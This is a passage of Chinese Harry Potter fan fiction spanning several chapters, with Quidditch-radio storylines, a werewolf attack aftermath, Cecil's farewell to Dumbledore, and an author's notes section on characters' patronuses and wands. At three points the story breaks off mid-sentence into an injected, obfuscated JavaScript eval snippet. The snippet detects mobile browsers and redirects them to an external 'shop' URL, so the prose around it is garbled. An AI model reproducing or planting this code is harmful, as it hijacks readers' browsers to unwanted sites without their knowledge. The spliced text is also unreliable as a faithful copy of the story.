由于哈比队还有去巴黎参加客场比赛的行程,莉兹的专访大约进行了不到四十分钟,她尽量从准备的问题中择出了更为直接的几个,好在塔克是个足够直率的选手,并不吝啬自己的野心与想法,这些看起来不够伟大的理由反而令莉兹感觉到她身上那种真实的魅力,下意识又在心里夸了一句——这年薪给得可太值了。 目送塔克与队伍离开了球场,莉兹匆忙赶到与球队经理约好的办公室门前,上了年纪的中年男人就没有那么好沟通了,她一边迂回一边询问着目前经营遇到的难事,但得到的大多是一些套话。想来是为了谨慎吧,太过立场鲜明的发言会带来很多麻烦,他和置身事外的哈比队又不一样,最后莉兹只听男人讲了一些苦恼的烦心事,对这个专题帮助不大。 还不如去问问托马斯,她在心里这样想着,却发现休息室里早已空无一人,负责打扫的家养小精灵说伍德先生被队友们扛去了海边的酒馆,希望奥利凡德小姐快去救他。无奈地摇了摇头,莉兹说了声谢谢,将相机和采访本收好,拿起伍德用来放装备的挎包和他的飞天扫帚,走出了包裹住球场的浓雾。 不知被灌了几杯酒,朦朦胧胧间伍德觉得有人又在捏自己的脸,努力眨着眼睛让自己能看清眼前的人影,那双熟悉的银色眼睛就这样一动不动盯着自己,她面无表情,好像带着点怒意。 “莉兹……莉兹!” 他在队友的笑声中挣扎着起身,踉跄了两步差点扑在莉兹身上,幸好年长的托马斯还算靠谱,抓过他的胳膊将他扶起来,又对着莉兹连连抱歉:“大家很久没见他了都很激动,这小子又太老实,不懂拒绝。” “他确实是这样的笨蛋。”莉兹站到另一边扶着他,两个人一起扛着他走向酒馆二楼的房间。 一路将伍德扔到了床上,托马斯还帮忙叫店员送了热茶和解酒药剂上来,离开之前又跟莉兹说有什么需要帮助的都可以来找他,靠着山崖的白色小屋就是他的家。 门关上时莉兹突然意识到下午那阵子之所以会觉得怪怪的,大概是因为托马斯在她眼里更像是上一代的长辈,而不是男朋友的队友,这种靠谱的模样更像了。 回身走过去坐在了床边,她揉了揉伍德的脑袋,弯腰凑在他耳边:“笨蛋,起身脱外套脱鞋。” 本以为陷入昏睡的伍德乖乖接受了指令,坐起来踢掉自己的靴子,然后两手举过头顶,莉兹叹了一口气无奈地解开他的斗篷,提起衣摆将毛衣帮他脱掉,刚扔到一旁她就停住了动作,她看着眼神迷离的伍德决定还是不管他让他就这么脏兮兮地睡一晚上好了。 可伍德伸手拉住了准备离开的莉兹,甚至因为状态不清醒,他完全没意识到自己用了多大的力气,她一下子摔进了他的怀里,缠绵的吻带着朗姆酒的甜味。 莉兹本来已经摸到了床边的魔杖,完全可以轻易从这里回到自己的房间,但朗姆酒的甜勾着她的神经,又好像有什么声音在她耳旁响起:“不要走,留下来。” 她也听见了自己的轻哼中带着笑,于是只好故意惩罚他似的翻身跨坐起身,弯下腰在他的肩头狠狠咬了一口:“我可不允许你明天忘记发生了什么。” 吃痛的伍德叫了一声,下一秒却被莉兹堵了回去:“安静点,不然我就走了。” 听到这声“威胁”,伍德紧紧将她圈住,再次吻得莉兹喘不上气。 层层叠叠遮掩了海岸线的灰雾在月色下散开,那丝丝缕缕的白穿过了窗户的缝隙,将床帘下的两人包裹在中间,宛如一场迷梦。 115. 《魁地奇夜话》之小道消息 〉〉〉〉关于各位的守护神 塞西尔——白狮子(雌性) 莉兹——苏俄猎狼犬(雄性) 伍德——漂泊信天翁(雌性) 杰姬——野猪(雌性) 帕特里克——松鼠(雌性) 虽然说守护神本来也看不出颜色,但是塞西尔的狮子就是一头白色雌狮,并不是因为得了白化病,就是基因让它们变成了白色,也因为这样,它们太显眼了,隐蔽性差,很难融入普通的狮子家族。 塞西尔就是这种上学的时候很难融入普通同学、上班的时候懒得和同事打交道的人,不过她生存能力比白狮子本身强多了,不需要被保护就能自由生长。她看起来随心所欲,其实本质上是觉得因为不被人在意所以就无所谓。 莉兹的猎狼犬就是拿着她的设定做测试做出来的结果,代表的就是忠诚和强烈的保护欲,跟伍德的信天翁很像。之所以两个人的守护神性别和主人相反,是因为莉兹本人比她看起来要叛逆和具有攻击性,而漂泊信天翁这种海鸟,雌性体型要大于雄性,翅膀展开能到差不多三米。以及信天翁一般是一雄一雌的家庭模式生存的,直到死去都不会分开。 (因为猎狼犬属于大型犬,所以一开始听说这件事时双子曾经调侃说还以为她的守护神会是柯基。) 杰姬和帕特里克俩人的就完全按照性格来的,横冲直撞的杰姬做事没有瞻前顾后的习惯,遇到不喜欢的和不赞成的事情也会反驳,不管对方是谁,之前上班的时候也是会直接掀桌子的人。 帕特里克是松鼠,一是他从小就很乖巧没有什么杀伤力,二他又是高警戒性和强好奇心的类型,对环境的变化很敏感,脑子很灵光。不过他很需要朋友,喜欢热闹,所以在学校会成为级长和队长,后来又和杰姬一起建电台。 〉〉〉〉关于各位的魔杖 塞西尔——凤梨木,十一英寸又三分之一,杖芯是树峰龙的心弦,易弯折。 莉兹——黑胡桃木,十三英寸,杖芯是独角兽的尾毛,不易弯折。 伍德——鹅耳枥木,十又三分之二英寸,杖芯是龙心弦,不易弯折。 根据pottermore介绍,直纹的凤梨木魔杖总是选择一位无拘无束、独立的、或许还被认为是不合群、有趣的、或者神秘的主人。风梨木魔杖希望被创造性地使用,而且与其他魔杖不同的是,他们对新的魔咒或是要领完全没有排斥性。许多魔杖制造师强调凤梨木魔杖会与那些注定长寿的主人配合默契,并且从未听说哪个凤梨木魔杖的主人在很年轻的时候去世。凤梨木魔杖是对无声咒非常敏感的魔杖之一。 (非常遗憾的是塞西尔并没有因此获得一段长寿的人生) 依然是pottermore介绍,黑胡桃木魔杖一般寻找拥有敏锐直觉和洞察力的主人,且在所有种类的魔咒上都具有特殊的天赋。黑胡桃木看起来很美观,但却不容易掌控。它有一个明显的怪癖,那就是它不能正常地协调内部矛盾,如果它的主人自欺欺人的话,它的威力就会大幅降低。如果巫师不能或不愿诚实地面对自己或他人,那么黑胡桃木魔杖往往就不能充分履行它的职责。但是独角兽尾毛可使魔法稳定,但唯一的弊端是易损坏。 (非常幸运的是,莉兹是个绝对忠实自我的人) 鹅耳枥木魔杖选择那些拥有天赋,并且对事物有着着单一而纯粹热情。鹅耳枥木魔杖会比其他魔杖更快地适应它们主人的魔法风格,而且它们个性化的速度极快,快到其他人想要用它们来施出最简单的魔法都非常困难。鹅耳枥木魔杖也同样吸收了主人的荣誉法典。不管是什么,不管是好是坏,只要这个魔法并不符合其主人的原则,鹅耳枥木魔杖就会拒绝执行。这是一种极其有原则和自我意识的魔杖。 (一看就是伍德这种人会用的魔杖,过于单一和纯粹的类型) 〉〉〉〉关于长相 塞西尔 霍格沃茨期间的塞西尔和哥哥罗里长得很像,都是深色瞳孔深色头发,稍微有点自然卷,但是不明显,她喜欢绑着一个长麻花辫,在禁林里跑来跑去的时候会盘起来,不会被树枝碰到。 个子瘦瘦高高的,因为喜欢和神奇动物打交道,从小手上胳膊上小腿上都有乱七八糟的小伤痕,手指磨出很多茧,手掌很粗糙。 大概在三年级的时候意识到自己和过世的妈妈一样是易容马格斯,做的第一件事是改变自己的头发颜色,结果在林子里把自己头发变成翠绿色的时候被雷古勒斯看到了,她那时候不太合群,看到这种年纪轻轻就在魁地奇队伍里露脸的风云人物第一反应是逃跑,不过对方只觉得她很有意思。 成年之后到了魔法部工作,养成了酗酒的坏毛病,性格也突变,发型就变得随心所欲了,经常保持的是短寸头,颜色在粉色和绿色之间任意切换。对麻瓜们流行的衣服很感兴趣,喜欢短夹克和尖头皮靴,方便骑摩托机车。 莉兹 成年的莉兹还是和小时候一样,个头不高,不过也算不上娇小,只是她周围的朋友到家人都太高大了衬得她看起来小小一只。虽然按照她的基因来说,高挑的米歇尔和高大的罗里应该会有个个子高高的孩子,但是莉兹可能从小就排斥妈妈说高个子更适合打球的理论,一直自我催眠不要长高,结果到了青春期发现自己真的没跟上别人发育的速度又开始愁了。 头发是顽固的自然卷,平时虽然看起来只有刘海和发尾卷卷的,但是潮湿环境下会更卷更蓬松,怎么压都压不下去的,也因为这样,她的头发留不长,每次长到齐肩的地方就不会再长了。 眼睛随了老奥利凡德,瞳色是银灰色,小时候看起来眼睛更大一点,瞳色也更浅,看起来不像普通人类的小孩,加上米歇尔经常带孩子去比赛去训练,所以是很受魁地奇迷们欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487903|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎的魁地奇二代。可是人总会长大的,她没有因此长成大家期待的小精灵的样子,热度也就这么消失了。 杰姬就是看起来很不英国人,金发雀斑且高大壮实,配上那个性格,曾被调侃像个美国人一样,但她祖上只有挪威血统,从未去过北美洲。 帕特里克与之相反,非常传统英国人,发际线感觉也很危险,虽然现在还很年轻,但是父亲祖父都不到三十就开始发际线后移了,所以他现在会留着长发掩盖抢救一下。 〉〉〉〉关于一些人物关系 戴维斯和莉兹(上学期间) 莉兹的心路历程:这家伙好蠢好容易上当——拿来练手也不错——算了他也不容易不惹他了——道不同不为谋于是无视。 戴维斯的心路历程:好讨厌好碍眼——好讨厌好碍眼怎么总欺负我——好讨厌好碍眼她怎么整天惹麻烦——好讨厌好碍眼她凭什么不理我了。 (一种辱追【bushi】) 塞西尔和卢平和西里斯 看似三条恶犬,其实是卢平一头狼给两条狗顺毛,苦了卢平。 塞西尔和西里斯都在对方身上看到自己,所以他俩很神奇地互相吸引了,不过互相嫌弃的时间比互相关心的时间要多就对了。 塞西尔喜欢卢平这人足够好,但是讨厌卢平这人有话不直说,她讨厌闷葫芦。 卢平,就是一怒之下怒了一下,不会惹到任何人但是被任何人都惹了。 斯内普和塞西尔 自始至终没有对彼此有过好印象,在邓布利多面前像两只对着彼此哈气的猫,但碍于邓布利多的面子从来不当着面挠对方。 两个人的态度都是,你看不爽我但是你弄不死我,所以气死吧! (莫丽曾经致力于给塞西尔拉郎凤凰社内所有单身男性,虽然她本人最嗑西里斯和塞西尔,不过她也曾试过拉郎斯内普,此男冷笑一声离开了总部,留下在旁边憋笑的卢平和西里斯) 米歇尔和丽塔 一言以蔽之,拉文克劳diva之争。 〉〉〉〉最后是没头没尾的乱想 之前重看悲情城市的时候,我脑子里出现的是莉兹这一家,罗里是那个失踪的老二,塞西尔戴着文良的面具演宽荣的戏,米歇尔是幸存的文雄,而莉兹是被推着走到夹缝口的文清,站在废墟里看历史把他们统统都压死。 经常有人说不知道为啥莉兹做了这么多,但是啥也没变,这事儿在我这里就是蝴蝶效应,和那部电影一样一样的,男主一顿操作猛如虎,结局还是那样。 塞西尔来自于西西莉亚,所以家人会叫她西西,西里斯想要阴阳怪气的时候也会这么叫她,雷古勒斯反而会直接叫她西西莉亚。 莉兹就是来自于伊丽莎白了,这个故事里经常提到。 还有什么想更新的以后还会在这个章节里继续补充,就酱紫! 116. 是新成员? 由于分体的情况太过严重,杰姬几乎半边身子被撕开,每根骨头都错了位,即便是最有经验的治疗师也要在合作之下才能一节一节将碎骨拼回原处,隔两天就要补充一次生骨灵,保证她身上的断骨能够逐步恢复而她本人不用受太多的苦。 至于撕裂的伤口,在魔法的帮助下人的皮肉也要一层一层重新长出来,加上杰姬始终处在应激状态,情绪很不稳定,撕裂伤足足花了两周才勉强全部愈合,却留下了一道深深的疤痕。 她在圣芒戈住院的这一个多月,帕特里克、莉兹还有伍德三个人会轮流来医院照顾她,起初史密斯夫妇想借这个机会将女儿接回家中,甚至一起离开伦敦,结果不出所料,过去本就没有解决的矛盾在此刻被放大,杰姬嘶声力竭地怒吼着说自己不要做逃兵,场面一度难以收场,还好莉兹在一旁用魔咒定住了乱动的杰姬,没让她把伤口再撕裂。 夫妇俩便只好结清了治疗费用,又给女儿留下一些加隆之后暂时离开了,走到电梯口时,他们把接下来的落脚点地址塞给了陪同走出门的莉兹,本想说些什么,最后只说了一句谢谢。 那时候莉兹在想,如果今天轮班的是帕特里克的话,他一定知道怎么协调这样的关系,就算改变不了结局,至少也不会像这样除了沉默点头之外什么都不做。 等管床的治疗师同意杰姬可以在白天接受探病以后,已经很久都没消息的莱姆斯·卢平来到了病房,他看起来不知道经历了什么,白发越来越多,两颊凹陷,眼下乌青,像是连续几天都没能合眼似的。他虽然用高领的线衫将脖子遮挡住,但杰姬还是在卢平低头时看到了他后颈上骇人的紫色抓痕。 这痕迹有些眼熟,让杰姬有点寒毛倒竖,只是卢平顾不上多说什么关切的话,从大衣口袋里抽出了一张画像:“这是格雷伯克,一个狼人,我想问问那天晚上发生袭击事件的时候,你看到的是他吗?” 杰姬抓着扶手坐起来,面露难色摇了摇头:“抱歉莱姆斯,那天周围没有任何路灯,我和他们的距离又太远了,如果是能看清的距离的话……” 她就来得及救下那个孩子了。 停顿了一下,杰姬深吸一口气继续补充道:“那整个街区住的都是麻瓜,方圆十几公里唯一的巫师可能就是我们四个,工厂区也没有足够面积的树林,我完全不明白那里怎么会有狼人出现。” 这句话在这一刻变成了稍有些锐利的质问,卢平攥了攥拳头又松开,他回答道:“他们正在扩大势力,可活动范围基本还是在森林山区,城区有太多的防狼人咒语和魔药,这些应该是脱离群体的新狼人,或者这就是伏地魔的指示……对麻瓜的狩猎。” 最后几个词说得实在小声,卢平好像一开始根本念不出口一般。 杰姬眼神一暗,只好将话题绕回去:“所以你只是来和我打听格雷伯克的吗?” “蒙哥马利家的孩子被格雷伯克咬伤了,而我那时候被困住了,”卢平不自觉又提高了衣领,试图把抓伤再挡住一些,他的袖口上粘了不少银粉,“罗里正在抢救他,我想……” “那我们就这样什么都做不到了吗?”杰姬打断了他。 “我很想像个可靠的大人一样说不会的,”卢平眼里的所有情绪都被无限的疲惫遮掩,“可我现在无法回答你,我只能说我不希望是如此。” 短短一个月竟发生两起狼人伤人事件,神奇动物管理控制司简直忙得不可开交,塞西尔光是给部长办公室交一份说明情况报告书就来回改了五六回,斯克林杰一直认为她撰写的内容不能让民众安心,如果照实刊登在《预言家日报》上只会引起不必要的恐慌。 “但是狼人确实在尝试转化麻瓜,这又不是他们第一次这么做,我还没说这跟伏地魔有关呢,要是真说了他是不要被我吓死?” 和唐克斯赶去圣芒戈的一路上,塞西尔一直忍不住在风中大声怒骂着斯克林杰那些官僚做派,坐在她摩托车后座的唐克斯心里却不太平静,因为她知道自己总算能和卢平见一面了。 俩人穿过走廊来到抢救室前,憔悴的莱姆斯·卢平已经倚靠在墙根打起了瞌睡,塞西尔摆了摆手直接走向了另一边站着的蒙哥马利一家人,唐克斯则是心疼地看着卢平后颈的抓痕,刚伸出手小心翼翼地触碰,对方仿佛受了惊,绷直了后背,看清了唐克斯的脸才稍稍松了一口气。 “没事的,”他安慰道,“我涂过药剂了。” “你明知道根本不可能策反狼人,”唐克斯将先前二人的争执又带到了此时,“让自己远离同伴就是你惩罚自己的方式吗,西里斯会高兴吗?” 很显然,这个名字起到了一些作用,卢平那副只想敷衍过去的表情派不上用场了:“难道我说我正在远离你,这就是正确的回答了吗?” “至少比你选择惩罚自己要好一百倍。”唐克斯的头发随着情绪慢慢变成了橙色。 “我应该说什么你才会不生气?”卢平对这个姑娘的固执简直是束手无策。 “你还会在意我生不生气吗,”唐克斯的头发越来越红了,“那就留在这里,见到我不要转身就走。” 无奈的卢平不知道自己是因为受了伤才觉得脑子发热,还是因为其他的什么,总之他觉得正有一股热气从他的胸口爬上脸,让他的头变得晕乎乎。 已经了解完大致情况的塞西尔从走廊另一端探头看过来,她两手环抱抿站在原地打量了好一阵,接着抿嘴哼了两声,并不急着叫唐克斯过来。毕竟原本要跟她一起来的应该是傲罗办公室那位草包主任罗巴兹,但好在塞西尔先收到的是卢平的消息,眼疾手快拉过了唐克斯就跑向了电梯。 可以说一半是为了这对苦命鸳鸯,一半是为了自己,她才不想和讨厌的同事一起工作。至于调查的事情,塞西尔觉得斯克林杰并不见得真希望格雷伯克落网,安抚伤者的家人还有稳定民心可能才是这次最主要的任务。 她将一封折叠成小方块的信件塞进口袋,准备一会儿会魔法部前寄出去,不知道邓布利多对这事会是什么态度,这段时间卢平的潜伏看起来除了让他自己倒霉之外,起不到什么有效的作用。 时间来到了这天的晚上,每周的《魁地奇夜话》正在播送中,本期的头条是安吉丽娜·约翰逊在欧冠比赛的首秀,威克多·克鲁姆连续给出强力助攻,俱乐部拿下五连胜。手拿着稿件的李·乔丹的心情相当激动,几次都差点碰倒面前的话筒,莉兹只能隔着玻璃用手势提醒他。 一旁助播的帕特里克一度插不上话,只能任由李自顾自地讲下去,幸好他确实擅长把握节奏,性格也足够轻松幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487904|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默,填补了杰姬不在的情况下节目失去的趣味性——木头伍德、古板奥利凡德、老实费尔曼凑在一起绞尽脑汁都很难说出一个自然的笑话。 而且李·乔丹居然能够接受零薪酬来救急,这对一个设备简陋、人员稀少的电台工作室来说简直是雪中送炭的好消息。 虽然伍德一开始根本没料到他会答应,因为圣诞节后他就听闻李进了《魁地奇速报》的编辑部实习,不过自己这边已经算走投无路,如果再没有帮手的话,他们就只能停播了。 帕特里克根本无法顶杰姬的班,他不擅长主持,平日里坐在一旁附和几句没什么问题,只要念起大段的稿子立马就开始结巴。加上他们白天还要从圣芒戈来回,照顾完杰姬才能筹备节目,连一向精力旺盛的奥利弗·伍德看着都像被抽走了一半的灵魂。 打从认识伍德起,莉兹想自己可能就没见过这么疲惫不堪的木头先生。 因此那天下午,当第一次拿到工作室钥匙的李推门而入,手里还提着一篮子刚烤完的巧克力酥皮面包的时候,客厅里的三个人仿佛看到了他像梅林一样在发光。 “梅林啊——”帕特里克感慨道。 “我倒是想活到那么大岁数啦。”李笑着放下篮子,手脚麻利地将客厅地上摞着的稿纸叠起来问道,“所以今晚紧急要播的是哪个部分,威尔士联赛吗,我在报社也有接触这个。” “梅林啊!”伍德也跟着喊道。 “那你有更内幕的资讯吗?”只有莉兹提前一步站起身,从篮子里摸出了一个酥皮面包,一边咀嚼着一边问说。 “还真有!”李拍了拍背包,“我下班的时候捡了很多好东西。” “我同意,你是梅林。”莉兹举起大拇指。 不过可靠的模样也就维持了一两天,自由懒散惯了的家伙想跟上这几个人的步调可不容易,李有时候都来不及讲笑话,他们就已经开始讨论下一个话题了,这哪是需要一个人顶班,两档节目的工作量得再来四个都不够。 终于坚持到了今天,早上过来时听说杰姬下周就要出院,李当然十分高兴,不过还是默默握紧了那把门钥匙,心里有些不舍。这会儿帕特里克念完了最后几条资讯,莉兹正式关闭播送通道,大家习惯性互相说着“辛苦了”,李坐在椅子上没有挪动,又按响了话筒:“我能加入你们吗?” 被突然这一声吸引了注意力,莉兹抬起头来。 “节目一直就人手不够吧,”李深呼吸了一下,“我能派上用场,你们也知道的,对吗?” “没钱哦。”莉兹倒也直接,“大概率还要倒贴钱哦。” 她指向门外的钱袋子伍德:“我们到现在都在吃他的签约金,报社的实习不是很好吗?” “我明天去提辞职。”李很坚决。 “别辞职,我是说你可以来,但是不要辞职。”帕特里克认真地劝说道,“给我们通风报信就好。” 听完这话,莉兹微微皱眉,眯起眼瞥了他一眼,感觉像是说了点什么。 而伍德并不知道三个人在里面谈什么,只是打开门说有新的邮件寄来了,李则是冲向了伍德紧紧抱住这位大高个:“我一定为了我们电台赴汤蹈火,做好这个情报贩子!” 莉兹摇了摇头,又瞥了帕特里克一眼。 117. 痛苦怎么写 塞西尔给邓布利多寄出的信件并没有即时得到回复,这早就不是什么稀奇事了,老头子一向神出鬼没的,哪怕在霍格沃茨校长办公室里蹲点,都不见得能逮到他。这样接近于单向沟通的方式,塞西尔以前还会好奇,毕竟邓布利多总能一下子就找到出现在任何地方的自己,是什么样的咒语能做到这一点。 当一只皮手套冷不丁出现在夜色里,下一秒她便会听见邓布利多不紧不慢地念出她名字的声音。 作为魔法史上最伟大的巫师之一,阿不思·邓布利多拥有太多追随者,西里斯会用“信徒”来调侃一些人,比如金斯莱,再比如塞西尔。似乎在这位崇尚放浪形骸的叛逆布莱克心目中,对现实存在个体的信仰都是愚蠢的造神行为,这听起来很耳熟不是吗,毕竟信徒们可以供奉一个邓布利多,也可以供奉一个伏地魔。 他因此可没少跟斯内普在凤凰社的会议上开战,好在西里斯总是被塞西尔和卢平夹在中间坐着,没办法顺利爬到桌子对面去扯斯内普的头发。 塞西尔起初也想过反驳,后来发现自己找不出另外的说法来解释这段关系,只好随便他怎么说。就像西里斯经常将塞西尔对雷古勒斯的怀念当作是一段少女情怀,当作是年少时的一个错误,当作是在歧途上的悬崖勒马。 出于同样的理由,塞西尔找不出足够有说服力的论据佐证雷古勒斯并非是一个错误,因为背着偏见逃离布莱克家的西里斯,无法信任建立在情感之上的证言。 但邓布利多不一样,他认真听完了那时十八岁的塞西尔的哭诉,听完了每一个字,也相信了每一个字—— 他说他要结束这一切,我想他一定是发现了什么,找到了可以毁掉这个黑暗时代的办法。 他说了,他找到了可以结束一切的办法…… 我知道他不会是坏人…… 他不是的…… …… 这段回忆再次回到脑海中时,塞西尔强行给自己灌下了又一杯威士忌,她还以为记忆的力量总会随着时间减弱一些,如今看来这也不是个谁能说得准的事情,她深呼吸了一下,揉了揉正在灼烧的胸口和胃,疼痛感没起到什么帮助,因为她已经隐隐约约有了自己手上满是血的幻觉。 克利切伏在山崖边一下又一下嗑得头破血流,那一刻在旁边举起魔杖还在追问的自己看起来多像个可怕的魔鬼啊,为了雷古勒斯一句反常的“对不起”就疯魔似的折磨一个忠诚的小精灵,彻底把自己从一个宣称万物生灵皆平等的圣人变成了伪善者。 玻璃杯突然脱手落在地板上,地上的酒和碎片变成一滩,塞西尔低头搓着掌心,只觉得血迹愈来越大片,越来越深,怎么都搓不掉,窗户却在此刻被敲响。 许久未露面的邓布利多一反常态,憔悴的模样像整个人被罩在了灰色的迷雾之中,塞西尔花了几秒钟从幻影移形的震荡感中缓过来,没能来得及开口打声招呼就感觉到胃里一阵抽搐,转过身将喝下的两瓶酒吐了个干净。 这下是真的清醒了,因为灼烧不再是错觉,呼吸时的痛感太过真实,完全可以将她的幻觉击碎。大约是觉得自己这一身的酒气有些不像话了,塞西尔没有抬头去看邓布利多的眼睛,只是急忙用了几个清洁咒语。 “莱姆斯的事情我已经跟他见面谈过了,这次是我失察了,我太急切了,也考虑得太理想了。”邓布利多和往常一样并不在意塞西尔的失态。 “我觉得他才是比较有问题的那个……”塞西尔嘀咕着,“算了,现在应该也都解决了。” “我今晚过来,是因为需要你的帮助。”邓布利多那只手已经被黑魔法全部侵蚀,他从斗篷中拿出地图时,看起来就像是只剩下了焦黑的骨头。 塞西尔尽量让自己不要去注意他的手,开始看地图上标记出的几个位置,其中被圈出来的那个让她心头一紧。 “是的,我需要那段记忆,”邓布利多知道她已经看出来了,“关于你和克利切的记忆。” “我想您知道的,我根本无法从小精灵那里得到它被封锁的完整记忆,哪怕是不可饶恕咒也……”塞西尔攥紧了拳头,整个人微微发颤。 “你的记忆就好,你和他的对话,这样就可以了。”邓布利多的语气舒缓,也慢慢让塞西尔没那么焦躁。 把还剩下的小半瓶酒倒出去,塞西尔举起魔杖对着自己的太阳穴,抽出了一长段记忆,一边拧上酒壶盖一边说:“您决定要去那个洞穴了吗?” 邓布利多没有直接回答,只是应声接过了酒壶,打量了两下,笑着评价说:“如果我也喜欢喝酒的话,这样的小玩意儿挺有意思。” “我从阿拉斯托那里顺来的,”塞西尔也跟着笑了一下,稍微有点心虚,“我……我不应该这样喝下去的,这不对的。” “活着就可以了,”邓布利多保持着一如既往的态度,“活着的话,就没有对和错了。” 塞西尔愣了愣,这让她又回忆起无法被证明是正义或是邪恶的人,她看向了邓布利多:“先生,我知道他曾经是想过追随那个人的,我见过他在我面前亮出黑魔标记的表情,他相信他,相信纯血能够让一个更好的世界降临。” “可是他最终没有这么做,尽管只有您相信我,因为如果不是这样的话,他根本不会让克利切留下那样的话给我。” 邓布利多沉默地听着塞西尔久违的坦白。 “我们之间没有那么多‘对不起’,他对我没有任何责任,只是因为我说过他会因为迷信后悔,我告诉过他那样的‘美好未来’里无法有我的存在。” “所以这句对不起必然有其他的意思,”抬手锤了锤胸口,塞西尔继续说,“而这之中最蹊跷的地方,他的死没有给布莱克家招来食死徒的屠杀,也就是伏地魔从未意识到他的动摇。” 她终于直白说出了这个名字,邓布利多的眼神变得更加柔和。 “我有时候更情愿他是一个恶人,我单纯因为他的立场去讨厌他就行了,他至少还可以活着,听我说我到底有多恨他。” 深夜里的伦敦大雾四起,塞西尔逐渐看不清身旁邓布利多的表情,他们并肩走在桥边,说话的声音也都被雾气盖过。 “邓布利多先生,”塞西尔停住脚步,“我应该陪你去那个洞穴。” “西西莉亚,你为我做的事情足够多了,这是我一开始就答应你的,是我应该将真相带给你。”邓布利多缓缓摇头,拒绝了她的请求。 熟悉的称呼让塞西尔恍然间以为此刻站在这里的其实是十八岁时的自己:“那您今天为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487905|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会选择亲自来见我呢,我想那段记忆并没有那么重要,您更不是现在才调查到洞穴的事情。” “我一直以来都相信你说的话,所以我希望关于如何接近真相的事情,你是从我这里亲耳听到的,不是任何一个人转告给你,也不是一张写满了暗语的羊皮纸卷。”邓布利多转过身来,半月形的镜片挡不住他的眼睛,他抬起自己那只焦黑的手。 “我相信那个洞穴里藏匿着的东西,也就是你的朋友发现了却没有能成功带出来的东西,它和哈利交给我的那本日记,还有我手上的这枚戒指一样,都藏着被伏地魔分裂的灵魂。” “那我更应该和您一起去了。”她想起下葬的空棺材,再次坚持道,“也许他还在……” “其实我一直都知道,让你活下去本身就已经是很残忍的一件事。”邓布利多没有直接拒绝第二次。 “先生,活下去这几个字究竟对我来说是残忍的,还是对您来说是残忍的,就因为我对您的要求从不过问理由就这样对我的话,这是不是有些不公平。”塞西尔也清楚邓布利多不会再改变主意,只能是苦笑着抱怨。 “对不起,你也许不喜欢听到这个词,我请求你原谅我,然后答应我最后一个无理的要求,”邓布利多稍稍弯腰,紫色丝绒的斗篷上沾满了雾气凝结的水珠。 “直到最后一刻,直到笼罩在头顶的黑暗全部褪去之前,你要保护好莉兹,你要无条件站在哈利的身边,还有你要依然把凤凰社当成是一个家,那永远是你的家。” 他的身影最终没入了大雾,和他留下的声音一起,消失得无影无踪。塞西尔看着渐隐的方向,不知过了多久才重新拿起了魔杖,这样的见面又和以前有什么不同呢,她说不出来,好像什么都一样。 可是这一回分别之时,塞西尔总觉得那只皮手套不会再出现了。 那么最残忍的其实是什么,老魔杖真正的主人、救世主不可逆转的预言、隐匿于暗中的总部,现在成了她肩上最高的三座大山,邓布利多却请她不要倒下。 在她试图将这个夜晚抛在脑后,继续用半梦半醒的方式过完这漫长人生时,她等来了一张卡片,和皮手套一样凭空出现在她的眼前,上面是她再熟悉不过的字迹了—— 守好莉兹。 阿不思 这是一个信号,一早就商量好的信号。 塞西尔心领神会,立刻拍响了隔壁卢平的方面,叫醒了楼下刚刚入睡的唐克斯,接着一挥魔杖让一头白狮子跃出窗台奔向韦斯莱家的陋居。 “你有另外的任务吗?”卢平见她没有去拿飞路粉,唐克斯也转过头。 “常有的事情了,毕竟我在总部的地位比较高,不是吗?”塞西尔语气轻快,甚至还能调侃一下。 “注意安全。”卢平抓起飞路粉。 将第二句玩笑话咽回去,她点了点头:“保证安全归来。” 壁炉中亮起绿色的光,卢平和唐克斯喊出一声“校长办公室”,一前一后消失在格里莫广场12号。塞西尔长叹一口气,握着莉兹给她的大门钥匙,脑海里浮现出那间公寓的位置,啪地一声,也消失在原地。 留下一间空荡荡的屋子,扬起的火星逐渐成了尘埃,燃起的壁炉慢慢熄灭,黑暗吞没了一切。 118. 第一次正式的告别 被公寓大门第二次弹开时,莉兹的手心开始出汗了,她再次攥紧了手里的魔杖,小心翼翼回头看了一眼另外两间紧闭的卧室房门,换了破坏力更强的咒语,然而门锁毫无变化,倒是她被震得跌坐在地上,连着口袋里那枚发烫的金加隆一起,呆在那里一动不动。 她不断将目前所有的在脑子里用羊皮纸卷一条一条写下来,仿佛这会帮助她在最快的时间里冷静下来,事实是即便她仍然能够保持住平时那副一切尽在掌握的姿态,她也根本坐不住,一瞬间茫然地笑了。 